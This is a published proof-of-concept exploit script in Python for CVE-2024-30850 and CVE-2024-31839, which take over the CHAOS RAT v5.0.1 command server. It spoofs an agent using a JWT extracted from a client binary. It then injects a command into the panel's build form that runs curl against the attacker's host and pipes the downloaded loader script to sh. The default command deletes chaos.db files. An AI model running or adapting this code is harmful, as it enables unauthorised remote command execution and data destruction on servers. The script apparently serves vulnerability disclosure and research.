# Exploit Title: CHAOS RAT v5.0.1 RCE # Date: 2024-04-05 # Exploit Author: @_chebuya # Software Link: https://github.com/tiagorlampert/CHAOS # Version: v5.0.1 # Tested on: Ubuntu 20.04 LTS # CVE: CVE-2024-30850, CVE-2024-31839 # Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server # Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc # Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/ import time import requests import threading import json import websocket import http.client import argparse import sys import re from functools import partial from http.server import BaseHTTPRequestHandler, HTTPServer class Collector(BaseHTTPRequestHandler): def __init__(self, ip, port, target, command, video_name, *args, **kwargs): self.ip = ip self.port = port self.target = target self.shell_command = command self.video_name = video_name super().__init__(*args, **kwargs) def do_GET(self): if self.path == "/loader.sh": self.send_response(200) self.end_headers() command = str.encode(self.shell_command) self.wfile.write(command) elif self.path == "/video.mp4": with open(self.video_name, 'rb') as f: self.send_response(200) self.send_header('Content-type', 'video/mp4') self.end_headers() self.wfile.write(f.read()) else: cookie = self.path.split("=")[1] self.send_response(200) self.end_headers() self.wfile.write(b"") background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port)) background_thread.start() def convert_to_int_array(string): int_array = [] for char in string: int_array.append(ord(char)) return int_array def extract_client_info(path): with open(path, 'rb') as f: data = str(f.read()) address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}" address_pattern = re.compile(address_regexp) address = address_pattern.findall(data)[0].split("=")[1] port_regexp = r"main\.Port=\d{1,6}" port_pattern = re.compile(port_regexp) port = port_pattern.findall(data)[0].split("=")[1] jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*" jwt_pattern = re.compile(jwt_regexp) jwt = jwt_pattern.findall(data)[0].split("=")[1] return f"{address}:{port}", jwt def keep_connection(target, cookie, hostname, username, os_name, mac, ip): print("Spoofing agent connection") headers = { "Cookie": f"jwt={cookie}" } while True: data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())} r = requests.get(f"http://{target}/health", headers=headers) r = requests.post(f"http://{target}/device", headers=headers, json=data) time.sleep(30) def handle_command(target, cookie, mac, ip, port): print("Waiting to serve malicious command outupt") headers = { "Cookie": f"jwt={cookie}", "X-Client": mac } ws = websocket.WebSocket() ws.connect(f'ws://{target}/client', header=headers) while True: response = ws.recv() command = json.loads(response)['command'] data = {"client_id": mac, "response": convert_to_int_array(f""), "has_error": False} ws.send_binary(json.dumps(data)) def run_exploit(cookie, target, ip, port): print(f"Exploiting {target} with JWT {cookie}") conn = http.client.HTTPConnection(target) headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932', 'Cookie': f'jwt={cookie}' } conn.request( 'POST', '/generate', f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n', headers ) def run(ip, port, target, command, video_name): server_address = (ip, int(port)) collector = partial(Collector, ip, port, target, command, video_name) httpd = HTTPServer(server_address, collector) print(f'Server running on port {ip}:{port}') httpd.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(dest="option") exploit = subparsers.add_parser("exploit") exploit.add_argument("-f", "--file", help="The path to the CHAOS client") exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)") exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;") exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4") exploit.add_argument("-j", "--jwt", help="The JWT token to use") exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True) exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000) exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01") exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator") exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows") exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56") exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12") extract = subparsers.add_parser("extract") extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True) args = parser.parse_args() if args.option == "exploit": if args.target != None and args.jwt != None: target = args.target jwt = args.jwt elif args.file != None: target, jwt = extract_client_info(args.file) else: exploit.print_help(sys.stderr) sys.exit(1) bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip)) bg.start() cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port)) cmd.start() server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name)) server.start() elif args.option == "extract": target, jwt = extract_client_info(args.file) print(f"CHAOS server: {target}\nJWT: {jwt}") else: parser.print_help(sys.stderr) sys.exit(1)